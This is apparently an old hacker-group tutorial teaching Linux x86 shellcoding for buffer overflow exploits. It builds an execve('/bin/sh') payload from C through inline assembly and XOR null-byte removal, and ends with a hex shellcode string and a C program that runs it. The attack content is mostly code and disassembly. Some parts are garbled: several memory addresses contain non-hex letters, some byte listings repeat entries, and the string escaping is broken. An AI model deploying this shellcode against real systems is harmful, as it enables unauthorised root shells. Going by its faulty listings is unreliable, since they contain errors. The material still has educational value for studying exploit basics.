########### ##### ############ ########### ##### ##### # ## # ## # ## # ## # ## # # # ### ## # ## # #### ## # ####### # ### # # ## # ## # ## # # # # # ### ## # ######## # ###### ## # ####### # ### # # ## # ## # # # ## # ## # ## # # ########### ########### #### #### ########### ##### ##### ############ ##### ##### ############ ############ ##### ########### # ## # # # ## # ## # ## # ## # ## # #### ## # # # ## # ######## # ##### # ## # ######## # ## # ## ## # # ##### # ### # ## # ## # ###### ## # # # ## # ##### # # ##### # ######## ####### ## # # # ## # ## ## # ## # ## # ## # ## #### #### ##### ###### ############ ############ ########### ########### [ INTRODUCTION TO SHELLCODING FOR OVERFLOWS EXPLOITING ] { http://www.BlackAngels.it } [ Table of contents ] 1 - Legal notes 2 - Introduction 3 - General knowledges 4 - Shellcoding 4.1 - Part one 4.2 - Part two 4.3 - Part three [1] Legal notes ===============   The BlackAngels staff refuse all responsabilities for an incorrect or illegal use of the informations supplied with this paper or for eventual damages to others systems. This paper has been wrote in the respect of the Article 21 ( Italian Constitution ).     [2] Introduction ================   This paper will introduce the reader to the shellcoding and the study of buffer overflows; are required a Linux system ( with GCC and GDB ), and a superficial knowledge of C and ASM programming. We will talk about shellcodes x86 for Linux and i will explain you how to write a simple rootshell ( Note : shellcodes for Linux are different from BSD or Windows shellcodes, so they will be used only on Linux systems ).     [3] General knowledges ======================   A buffer is a static array ( whit a prefixed size ), that is loaded on the stack. We have a buffer overflow, when there is an array's data discharge; that appens when there are programming error, infact a lot of programs don't check variables size. We will insert the shellcode in the stack with a strings copy function, called STRCPY and we will execute /BIN/SH whit the function EXECVE. ( Note : shellcodes can use the 0, because for the STRCPY function, the end of a string is identified by a 0. )     [4.1] Shellcoding =================   For first, we will write a simple C program that execute /BIN/SH, using the EXECVE function ( for more informations : man execve ) :   shell1.c   void main(){ char *sh[2]; sh[0]="/bin/sh"; sh[1]=0; execve(sh[0],sh,0); }   This simple program execute /BIN/SH. Now we know that EXECVE require :   [1] The string whit the command to execute [2] The pointer to an array, whit a parameter to pass ( in this case 0 ) [3] The ambient's parameters ( in this case NULL )   Compile now the code with -static option and launch GDB :   [nemesis@localhost]$ gcc -s shell1.c -o shell [nemesis@localhost]$ gdb shell   (gdb) disas main Dump of assembler code for function main:   0x804dhdc
: push %ebp 0x804dhdd : mov $0x0,%eax 0x804dhe2 : mov %esp,%ebp 0x804dhe4 :   sub $0x10,%esp 0x804dhe7 : push %edi 0x804dhe8 : push %ebx 0x804dhe9 : mov 0x8(%ebp),%edi 0x804dhec : test %eax,%eax 0x804dhee : je 0x804cff5 0x804dhf0 : call 0x0 0x804dhf5 : mov 0xc(%ebp),%ecx 0x804dhf8 : mov 0x10(%ebp),%edx 0x804dhfb : push %ebx 0x804dhfc : mov %edi,%ebx 0x804dhfe : mov $0xb,%eax 0x804e003 : int $0x80   End of assembler dump.   To realize our shellcode we will use the strings :   0x804dhe9 : mov 0x8(%ebp),%edi <- [ The string's address "/bin/sh", is placed in EDI ] 0x804dhf5 : mov 0xc(%ebp),%ecx <- [ "sh" address is placed in ECX ] 0x804dhf8 : mov 0x10(%ebp),%edx <- [ "NULL" is placed in EDX ] 0x804dhfb : push %ebx 0x804dhfc : mov %edi,%ebx 0x804dhfe : mov $0xb,%eax <- [ Start EXECVE ] 0x804e003 : int $0x80   So our shellcode pass three parameters and start the EXECVE.     [4.2] Shellcoding =================   Now we will place our code on the stack, but we have to found the correct address where the code will be saved. To do this we put the string ( "/bin/sh" ), at the end of the code and to save this string, we use a JMP code at the begin of the code and a CALL code before the string, so the string address will be saved on the stack and he could be used with POPL.   shell2.c   void main(){ __asm__("jmp end \n" "begin: popl %esi \n" <- [ ESI contain the string ] "movl %esi,0x8(%esi) \n" <- [ Copy the string in the second parameter ] "movl $0x0,0xc(%esi) \n" <- [ Put a 0 in the third parameter ] "movb $0x0,0x7(%esi) \n" <- [ Place a 0 at th end of the string ] "movl %esi,%ebx \n" <- [ Pass address for EXECVE ] "leal %0x8(%esi),%ecx \n" <- [ Pass address for EXECVE ] "leal %0xc(%esi),%edx \n" <- [ Pass address for EXECVE ] "movl $0xb,%eax \n" <- [ Call EXECVE ] "int $0x80 \n" "end: call begin \n" ".string \"/bin/sh\" \n"); }     [4.3] Shellcoding =================   When we have compiled shell2.c, and we have decompiled it with GDB, we will have a result like this :   0x804dhb7 :     0xe9 0x804dhb8 :     0x62 0x804dhb9 :     0x7c 0x804dhba :     0xfb 0x804dhbb :     0xf7 0x804dhbc :     0x5e                                               0x804dhbd :     0x89 0x804dhbe :    0x76                       0x804dhbf :    0x08 0x804dhc0 :    0xc7 0x804dhc1 :    0x46 0x804dhc2 :    0x0c 0x804dhc3 :    0x00 * 0x804dhc4 :    0x00 * 0x804dhc5 :    0x00 *                              0x804dhc6 :    0x00 * 0x804dhc7 :    0xc6 0x804dhc8 :    0x46 0x804dhc9 :    0x07 0x804dhca :    0x00 *                                    0x804dhcb :    0x89 0x804dhcb :    0x89 0x804dhcc :    0xf3 0x804dhcd :    0x8d 0x804dhce :    0x4e                                                                                    0x804dhcf :    0x08 0x804dhd0 :    0x80                                                            0x804dhd1 :    0x56 0x804dhd2 :    0x0c                                  0x804dhd3 :    0xb8 0x804dhd4 :    0x0b       0x804dhd5 :    0x00 * 0x804dhd6 :    0x00 * 0x804dhd6 :    0x00 *                                                                      0x804dhd7 :    0x00 * 0x804dhd8 :    0xcd         0x804dhd9 :    0x80 0x804dhda :    0xe8 0x804dhdb :    0xfe                                                 0x804dhdc :    0x7b 0x804dhdd :    0xfb               0x804dhde :    0xf7 0x804dhdf :    0x2f 0x804dhe0 :    0x62 0x804dhe1 :    0x69 0x804dhe2 :    0x6e                          0x804dhe3 :    0x2f 0x804dhe4 :    0x73 0x804dhe5 :    0x68   Everything is ok, but there is a big problem; the 0x00 ( * ) identify a 0 ( the end of a string ), so we have to cancel all 0. To do this we can use the XOR ( exclusive or ), then we have to insert in the code the strings :   [1] "xorl %eax,%eax \n" [2] "movb %al,0x7(%esi) \n" [3] "movl %eax,0xc(%esi \n" [4] "movb $0xb,%al \n" <- [ This will replace the string "movl $0xb,$eax \n" ]   Now our shellcode will be like this :   shell3.c   void main(){ __asm__("jmp end \n" "begin: popl %esi \n" "movl %esi,0x8(%esi) \n" "xorl %eax,%eax \n" "movb %al,0x7(%esi) \n" "movl %eax,0xc(%esi \n" "movl %esi,%ebx \n" "leal %0x8(%esi),%ecx \n" "leal %0xc(%esi),%edx \n" "movb $0xb,%al \n" "int $0x80 \n" "end: call begin \n" ".string \"/bin/sh\" \n"); }   Now we have deleted all 0, then we can compile the code with GCC and decompile it with GDB; this time the result will be different. Now we can take all codes from the GDB result, to realize our shellcode :   char shellcode[]= "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\" "\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\" "\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\" "\x73\x68\";   To use this shellcode, we can code a simple C program, like this :   unsigned char shellcode[]= "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\" "\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\" "\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\" "\x73\x68\";   int main(){ void (*S)();                  S = (void *) shellcode; printf("%dn", strlen(shellcode)); S(); }   With this simple root exploit code, i close this paper. Remember : Never test your shellcodes or exploits on others system, without administrator's authorization. Also a simple portscanning is considered an attack, then legal offence. For more informations send me a message to : nemesis[at]blackangels.it Thank you for reading this paper.